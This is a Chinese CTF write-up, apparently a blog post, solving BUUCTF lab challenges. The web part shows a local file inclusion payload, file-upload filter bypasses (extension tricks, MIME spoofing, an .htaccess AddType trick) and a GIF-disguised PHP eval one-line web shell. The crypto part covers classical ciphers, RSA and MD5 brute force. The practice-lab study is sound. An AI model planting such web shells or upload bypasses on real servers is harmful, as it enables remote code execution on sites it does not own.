Buuctf-01

本文档详细介绍了Buuctf的基础和加密挑战,包括Linux实验室、上传漏洞、MIME验证、黑名单验证、文件编码、多种加密算法如凯撒、RSA、MD5,以及解密和编码技巧。通过解决各个关卡,展示了如何利用不同方法绕过验证并获取flag。

10.13:Basic Linux Labs ~ Upload-Labs-Linux

10.25:?

10.26:BUU CODE REVIEW 1 ~ Unencode

10.27:~ endl

目录

Basic

Linux Labs

BUU LFI COURSE 1

Upload-Labs-Linux

pass-01:在客户端使用js进行验证

pass-02:MIME-Type验证

Pass-03:黑名单验证-后缀名

Pass-04:黑名单验证-.htaccess绕过

BUU CODE REVIEW 1

CRYPTO

变异凯撒 

Quoted-printable 

Rabbit 

RSA

md5 

信息化时代的步伐 

凯撒?替换?呵呵! ***好用的网站

RSA1

 权限获得第一步

old-fashion 

异性相吸

Unencode 

还原大师

参考链接:MD5算法的C++实现;python版wp.

主程序:

c++的md5实现:

 [AFCTF2018]Morse


Basic

Linux Labs

参考链接

ssh -p 28309 root@node4.buuoj.cn

-p指定端口,root为用户名,@后为ip地址

第一次连接需要输入yes

ls ../
cat ../flag.txt

 flag{2a02935d-b864-48c0-850c-f8f4ef1e11cd}

BUU LFI COURSE 1

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/7/9
 * Time: 7:07 AM
 */

highlight_file(__FILE__);

if(isset($_GET['file'])) {
    $str = $_GET['file'];

    include $_GET['file'];
}

/?file=/flag

flag{5f9b3625-8aa8-46d4-89f5-7ba32d1cfab6}

Upload-Labs-Linux

参考链接2

参考链接

phpinfo.php↓

<?php
phpinfo();
?>

pass-01:在客户端使用js进行验证

>solve1:

删除红框部分, 即可上传phpinfo.php

>solve2:

使用bp将所有js删除(代理-选项-相应操作-删除所有JavaScript)

未汉化版本是:Proxy-Options-Response Modification-Remove all JavaScript

然后上传phpinfo.php

>solve3:

上传phpinfo.png,bp拦截修改filename=“phpinfo.png”后缀名为.php

(看串了,发现pass-02也可以用,图在下面)

pass-02:MIME-Type验证

>solve1:    ↑

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

常见的MIME类型(通用型):
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
XHTML文档 .xhtml application/xhtml+xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 .mid,.midi audio/midi,audio/x-midi
RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
任意的二进制数据 application/octet-stream

>solve2:

Content-Type改成JPGE或者PNG对应的后缀名Type即可。

Pass-03:黑名单验证-后缀名

基于文件后缀名验证方式的分类:
1、基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。
2、基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。

可以使用其他后缀名比如.php1,.php2,.phtml,.php5等。

try1:

shell.php5 ↓

GIF89a
<?php.eval($_POST[an])?>

没太弄懂↑,发现了修改后文件名:202110121228281742.php5

try2:

黑名单机制过滤

一些特殊的后缀名文件可能会被Apache的配置文件httpd.conf当做php来解析

.php3 .php5 .pht .phtm .phtml ……

 经过尝试.php3,.phtml可行,直接上传即可。

Pass-04:黑名单验证-.htaccess绕过

 过滤了大量后缀名,但是没有过滤.htaccess

.htaccess文件也被称为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或者多个指令的文件,以作用于此目录及其所有子目录。

.htaccess可以用于文件密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定ip地址的用户、这个功能默认是不开启的。

首先上传.htaccess文件,内容为:

AddType application/x-httpd-php .jpg

相当于修改httpd.confjpg文件作为php文件解析

上传一个图片马即可

BUU CODE REVIEW 1

参考链接

CRYPTO

变异凯撒 

加密密文:afZ_r9VYfScOeO_UL^RWUc
格式:flag{ }

密文的ascii码:

97 102 90 95 114 57 86 89 102 83 99 79 101 79 95 85 76 94 82 87 85 99

flag{}的ascii码:

102 108 97 103 123                                                  125

发现规律:

for(i=0;i<s.length();i++)
    s[i]+=i+5;

flag{Caesar_variation}

Quoted-printable 

一种编码方式

flag{那你也很棒哦}

Rabbit 

一种编码方式

flag{Cute_Rabbit}

RSA

在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=17
求解出d作为flga提交

import gmpy2
from Crypto.Util import number
p = 473398607161
q = 4511491
e = 17
d = gmpy2.invert(e,(p-1)*(q-1))
print (d)

flag{125631357777427553}

md5 

参考链接

.hexdigest() //返回十六进制

运行md5.py输出:e9032994dabac08080091151380478a2 

打开md5.py

import hashlib   
for i in range(32,127):
    for j in range(32,127):
        for k in range(32,127):
            m=hashlib.md5()
            m.update('TASC'+chr(i)+'O3RJMV'+chr(j)+'WDJKX'+chr(k)+'ZM')
            des=m.hexdigest()
            if 'e9032' in des and 'da' in des and '911513' in des:
                print des

 ……哦原来flag就是直接打开.py的得到的数据。查了下hashlib.md5()不可逆

信息化时代的步伐 

给了一串数字转中文,查了下是中文电码

606046152623600817831216121621196386

flag{计算机要从娃娃抓起} 

凯撒?替换?呵呵! 

搜索得到网址

Clues:MTHJ=flag

flag{substitutioncipherdecryptionisalwayseasyjustlikeapieceofcake}

RSA1

数学规律

python libnum库安装使用方法

flag{W31c0m3_70_Ch1n470wn}

 权限获得第一步

Administrator:500:806EDC27AA52E314AAD3B435B51404EE:F4AD50F57683D4260DFD48AA351A17A8:::

md5解密F4AD50F57683D4260DFD48AA351A17A8

flag{3617656}

old-fashion 

Os drnuzearyuwn, y jtkjzoztzoes douwlr oj y ilzwex eq lsdexosa kn pwodw tsozj eq ufyoszlbz yrl rlufydlx pozw douwlrzlbz, ydderxosa ze y rlatfyr jnjzli; mjy gfbmw vla xy wbfnsy symmyew (mjy vrwm qrvvrf), hlbew rd symmyew, mebhsymw rd symmyew, vbomgeyw rd mjy lxrzy, lfk wr dremj. Mjy eyqybzye kyqbhjyew mjy myom xa hyedrevbfn lf bfzyewy wgxwmbmgmbrf. Wr mjy dsln bw f1_2jyf-k3_jg1-vb-vl_l

古典密码 

解题网址跟凯撒替换一样;选择dictionary,古典密码的词频分析破解

flag{n1_2hen-d3_hu1-mi-ma_a}

异性相吸

密文:ἇ̀Ј唒ဃ塔屋䩘卖剄䐃堂ن䝔嘅均ቄ䩝ᬔ

key:asadsasdasdasdasdasdasdasdasdasdqwesqf

key = open("key.txt", 'rb').read()
cipher = open("密文.txt", "rb").read()

flag = []
result = ""
for i in range(len(key)):
    flag.append(key[i] ^ cipher[i])
    result += chr(flag[i])
print(flag)
print(result)

 输出:[102, 108, 97, 103, 123, 101, 97, 49, 98, 99, 48, 57, 56, 56, 57, 57, 50, 50, 55, 54, 98, 55, 102, 57, 53, 98, 53, 52, 97, 55, 52, 51, 53, 101, 56, 57, 101, 125]
flag{ea1bc0988992276b7f95b54a7435e89e}

Unencode 

UUencode

89FQA9WMD<V1A<V1S83DY.#<W3$Q,2TM]

flag{dsdasdsa99877LLLKK}

还原大师

我们得到了一串神秘字符串:TASC?O3RJMV?WDJKX?ZM,问号部分是未知大写字母,为了确定这个神秘字符串,我们通过了其他途径获得了这个字串的32位MD5码。但是我们获得它的32位MD5码也是残缺不全,E903???4DAB????08?????51?80??8A?,请猜出神秘字符串的原本模样,并且提交这个字串的32位MD5码作为答案。 注意:得到的 flag 请包上 flag{} 提交

参考链接:MD5算法的C++实现python版wp.

这道题让我意识到python的好用……

主程序:

一共3个未知大写字母,26^3种可能,进行一个枚举,算出32位md5对比前四位,这一步c++和py基本一致

c++:

using namespace std;
int main(){
		
	for(int i=0;i<26;i++){
		encrypt[4]=c[i];
		for(int j=0;j<26;j++){
			encrypt[11]=c[j];
			for(int k=0;k<26;k++){
				encrypt[17]=c[k];
				sol();
			}
		}
	}

    return 0;
}

py:

import hashlib

#print hashlib.md5(s).hexdigest().upper()
k = 'TASC?O3RJMV?WDJKX?ZM'                    #要还原的明文
for i in range(26):
	temp1 = k.replace('?',str(chr(65+i)),1)
	for j in range(26):
		temp2 = temp1.replace('?',chr(65+j),1)
		for n in range(26):
			temp3 = temp2.replace('?',chr(65+n),1)
			s = hashlib.md5(temp3.encode('utf8')).hexdigest().upper()#注意大小写
			if s[:4] == 'E903':    #检查元素
				print (s)       #输出密文

但是py到这里就结束了,直接可以跑。而c++……

c++的md5实现:

主要都是引用的。

需要注意的几点:

(1)md5存取的数据长度仅为64位,位于数据的最前端,大于令其自然溢出。

(2)update函数和final函数处理得很繁琐,需要仔细分析。

(3)16位md5码取32位md5码的中间16位。

 1.Md5.hpp

#include<cstdio>
#include<cstring>
#include<algorithm>
#include<cstdlib>
#include<iostream>
#include<cmath>
typedef struct{
    unsigned int count[2];
    unsigned int state[4];
    unsigned char buffer[64];
}MD5_CTX;

#define F(x,y,z) ((x&y)|(~x&z))
#define G(x,y,z) ((x&z)|(y&~z))
#define H(x,y,z) (x^y^z)
#define I(x,y,z) (y^(x|~z))
#define ROTATE_LEFT(x,n) ((x<<n)|(x>>(32-n)))
#define FF(a,b,c,d,x,s,ac) { a+=F(b,c,d)+x+ac; a=ROTATE_LEFT(a,s); a+=b;}
#define GG(a,b,c,d,x,s,ac) { a+=G(b,c,d)+x+ac; a=ROTATE_LEFT(a,s); a+=b;}
#define HH(a,b,c,d,x,s,ac) { a+=H(b,c,d)+x+ac; a=ROTATE_LEFT(a,s); a+=b;}
#define II(a,b,c,d,x,s,ac) { a+=I(b,c,d)+x+ac; a=ROTATE_LEFT(a,s); a+=b;}

void MD5Init(MD5_CTX *context);
void MD5Update(MD5_CTX *context, unsigned char *input, unsigned int inputlen);
void MD5Final(MD5_CTX *context, unsigned char digest[16]);
void MD5Transform(unsigned int state[4], unsigned char block[64]);
void MD5Encode(unsigned char *output, unsigned int *input, unsigned int len);
void MD5Decode(unsigned int *output, unsigned char *input, unsigned int len);

2.Md5.cpp

#include "Md5.hpp"
unsigned char PADDING[] = {
    0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
void MD5Init(MD5_CTX *context){
    context->count[0]=0;
    context->count[1]=0;
    context->state[0]=0x67452301;//链接变量,注意与大端字节序的区别,内存中是小端字节序
    context->state[1]=0xEFCDAB89;
    context->state[2]=0x98BADCFE;
    context->state[3]=0x10325476;
}

void MD5Update(MD5_CTX *context, unsigned char *input, unsigned int inputlen){
    unsigned int i=0,index=0,partlen=0;
    index=(context->count[0]>>3)&0x3F;//模64字节的余数,第一次调用为0
    partlen=64-index;//第一次partlen为64
    //预留最前面的64位存放数据长度
    context->count[0]+=inputlen<<3;//文本总的位数,低32位
    if(context->count[0]<(inputlen<<3)) context->count[1]++;
    context->count[1]+=inputlen>>29;//先左移3,求出位数,再右移32位,求出左32位
    
    if(inputlen>=partlen){
        memcpy(&context->buffer[index], input, partlen);
        MD5Transform(context->state, context->buffer);
        //512位为1组
        for(i=partlen;i+64<=inputlen;i+=64) MD5Transform(context->state,&input[i]);
        index=0;
    }
    else i=0;
    memcpy(&context->buffer[index], &input[i], inputlen-i);//最后剩下的一部分
}

//32位md5
void MD5Final(MD5_CTX *context, unsigned char digest[16]){
    unsigned int index=0,padlen=0;
    unsigned char bits[8];
    index=(context->count[0]>>3)&0x3F;//模64字节的余数
    padlen=(index<56)?(56-index):(120-index);//需要填充的长度,注意长度占8字节
    MD5Encode(bits,context->count,8);
    MD5Update(context,PADDING,padlen);
    MD5Update(context,bits,8);//这里调用时,index=0
    MD5Encode(digest,context->state,16);
}

void MD5Encode(unsigned char *output, unsigned int *input, unsigned int len){
    unsigned int i = 0, j = 0;//len是char的长度
    while (j<len){
        output[j]=input[i] & 0xFF;
        output[j+1]=(input[i]>>8)&0xFF;
        output[j+2]=(input[i]>>16)&0xFF;
        output[j+3]=(input[i]>>24)&0xFF;
        i++;
        j += 4;
    }
}

void MD5Decode(unsigned int *output, unsigned char *input, unsigned int len){
    unsigned int i = 0, j = 0;
    while (j < len){
        output[i] = (input[j]) |
        (input[j + 1] << 8) |
        (input[j + 2] << 16) |
        (input[j + 3] << 24);
        i++;
        j += 4;
    }
}

void MD5Transform(unsigned int state[4], unsigned char block[64]){
    unsigned int a = state[0];
    unsigned int b = state[1];
    unsigned int c = state[2];
    unsigned int d = state[3];
    unsigned int x[16];
    
    MD5Decode(x, block, 64);
    FF(a, b, c, d, x[0], 7, 0xd76aa478);//32位运算
    FF(d, a, b, c, x[1], 12, 0xe8c7b756);
    FF(c, d, a, b, x[2], 17, 0x242070db);
    FF(b, c, d, a, x[3], 22, 0xc1bdceee);
    FF(a, b, c, d, x[4], 7, 0xf57c0faf);
    FF(d, a, b, c, x[5], 12, 0x4787c62a);
    FF(c, d, a, b, x[6], 17, 0xa8304613);
    FF(b, c, d, a, x[7], 22, 0xfd469501);
    FF(a, b, c, d, x[8], 7, 0x698098d8);
    FF(d, a, b, c, x[9], 12, 0x8b44f7af);
    FF(c, d, a, b, x[10], 17, 0xffff5bb1);
    FF(b, c, d, a, x[11], 22, 0x895cd7be);
    FF(a, b, c, d, x[12], 7, 0x6b901122);
    FF(d, a, b, c, x[13], 12, 0xfd987193);
    FF(c, d, a, b, x[14], 17, 0xa679438e);
    FF(b, c, d, a, x[15], 22, 0x49b40821);
    
    
    GG(a, b, c, d, x[1], 5, 0xf61e2562);
    GG(d, a, b, c, x[6], 9, 0xc040b340);
    GG(c, d, a, b, x[11], 14, 0x265e5a51);
    GG(b, c, d, a, x[0], 20, 0xe9b6c7aa);
    GG(a, b, c, d, x[5], 5, 0xd62f105d);
    GG(d, a, b, c, x[10], 9, 0x2441453);
    GG(c, d, a, b, x[15], 14, 0xd8a1e681);
    GG(b, c, d, a, x[4], 20, 0xe7d3fbc8);
    GG(a, b, c, d, x[9], 5, 0x21e1cde6);
    GG(d, a, b, c, x[14], 9, 0xc33707d6);
    GG(c, d, a, b, x[3], 14, 0xf4d50d87);
    GG(b, c, d, a, x[8], 20, 0x455a14ed);
    GG(a, b, c, d, x[13], 5, 0xa9e3e905);
    GG(d, a, b, c, x[2], 9, 0xfcefa3f8);
    GG(c, d, a, b, x[7], 14, 0x676f02d9);
    GG(b, c, d, a, x[12], 20, 0x8d2a4c8a);
    
    HH(a, b, c, d, x[5], 4, 0xfffa3942);
    HH(d, a, b, c, x[8], 11, 0x8771f681);
    HH(c, d, a, b, x[11], 16, 0x6d9d6122);
    HH(b, c, d, a, x[14], 23, 0xfde5380c);
    HH(a, b, c, d, x[1], 4, 0xa4beea44);
    HH(d, a, b, c, x[4], 11, 0x4bdecfa9);
    HH(c, d, a, b, x[7], 16, 0xf6bb4b60);
    HH(b, c, d, a, x[10], 23, 0xbebfbc70);
    HH(a, b, c, d, x[13], 4, 0x289b7ec6);
    HH(d, a, b, c, x[0], 11, 0xeaa127fa);
    HH(c, d, a, b, x[3], 16, 0xd4ef3085);
    HH(b, c, d, a, x[6], 23, 0x4881d05);
    HH(a, b, c, d, x[9], 4, 0xd9d4d039);
    HH(d, a, b, c, x[12], 11, 0xe6db99e5);
    HH(c, d, a, b, x[15], 16, 0x1fa27cf8);
    HH(b, c, d, a, x[2], 23, 0xc4ac5665);
  
    
    II(a, b, c, d, x[0], 6, 0xf4292244);
    II(d, a, b, c, x[7], 10, 0x432aff97);
    II(c, d, a, b, x[14], 15, 0xab9423a7);
    II(b, c, d, a, x[5], 21, 0xfc93a039);
    II(a, b, c, d, x[12], 6, 0x655b59c3);
    II(d, a, b, c, x[3], 10, 0x8f0ccc92);
    II(c, d, a, b, x[10], 15, 0xffeff47d);
    II(b, c, d, a, x[1], 21, 0x85845dd1);
    II(a, b, c, d, x[8], 6, 0x6fa87e4f);
    II(d, a, b, c, x[15], 10, 0xfe2ce6e0);
    II(c, d, a, b, x[6], 15, 0xa3014314);
    II(b, c, d, a, x[13], 21, 0x4e0811a1);
    II(a, b, c, d, x[4], 6, 0xf7537e82);
    II(d, a, b, c, x[11], 10, 0xbd3af235);
    II(c, d, a, b, x[2], 15, 0x2ad7d2bb);
    II(b, c, d, a, x[9], 21, 0xeb86d391);
    state[0] += a;
    state[1] += b;
    state[2] += c;
    state[3] += d;
}

unsigned char decrypt[16];
unsigned char encrypt[] = "TASC?O3RJMV?WDJKX?ZM";
unsigned char c[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ";
int p;

void sol(){
	MD5_CTX md5;
    
    MD5Init(&md5);
    MD5Update(&md5, encrypt, (int)strlen((char *)encrypt));//只是个中间步骤
    MD5Final(&md5, decrypt);//32位
    
    /*printf("加密前:%s\n加密后16位:",encrypt);
    for (p = 4; p<12; p++){
        printf("%02x", decrypt[p]);
    }*/
    
    if(decrypt[0]==233&&decrypt[1]==3){
    	printf("\n加密前:%s\n加密后32位:",encrypt);
        for (p = 0; p<16; p++){
            printf("%02x", decrypt[p]);
        }
	}
}

 因为我只需要32位,16位部分注释掉了;

原程序写的是小写md5,不影响判断,找到原文之后自己改一下就ok。

flag{E9032994DABAC08080091151380478A2} 

 [AFCTF2018]Morse

/替换成空格得到:

-.... .---- -.... -.... -.... ...-- --... ....- -.... -.... --... -... ...-- .---- --... ...-- ..--- --... --... ....- ..... ..-. --... ...-- ...-- ----- ..... ..-. ...-- ...-- ...-- ....- ...-- ..... --... ----. --... -..

解码得:

 61666374667B317327745F73305F333435797D

 提交发现WA了

查了下发现61,66,63是afc的ASCII码(16位),于是转换一下。

afctf{1s't_s0_345y}

flag{1s't_s0_345y} 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值